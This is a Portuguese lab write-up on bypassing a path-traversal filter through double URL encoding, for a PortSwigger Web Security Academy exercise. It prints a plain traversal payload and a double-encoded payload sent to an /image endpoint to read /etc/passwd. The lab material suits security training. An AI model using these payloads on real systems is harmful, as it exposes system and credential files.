> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/path-traversal/bypass-by-double-url-decoding.md).
# Bypass por Dupla Decodificação de URL
Notas sobre Bypass por Dupla Decodificação de URL para laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payloads, validação no Burp Suite e contexto de remediação.
### Travessia de caminho de arquivo, sequências de travessia removidas com decodificação de URL desnecessária
Este laboratório apresenta uma vulnerabilidade de travessia de caminho ao exibir as imagens geradas. / A aplicação bloqueia as sequências de travessia no nome de arquivo fornecido pelo usuário e, em seguida, aplica uma decodificação adicional de URL antes de usar esse valor.
O objetivo é ler o conteúdo de `/etc/passwd` arquivo.
A carga padrão a seguir não funciona:
```bash
../../../../../etc/paswd
```
Para contornar esse filtro, uma técnica consiste em **codificar a URL duas vezes** e enviá-lo no `filename` parâmetro do `/image` endpoint:
{% code overflow="wrap" %}
```bash
/image?filename=%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%36%35%25%37%34%25%36%33%25%32%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%34
```
{% endcode %}
---
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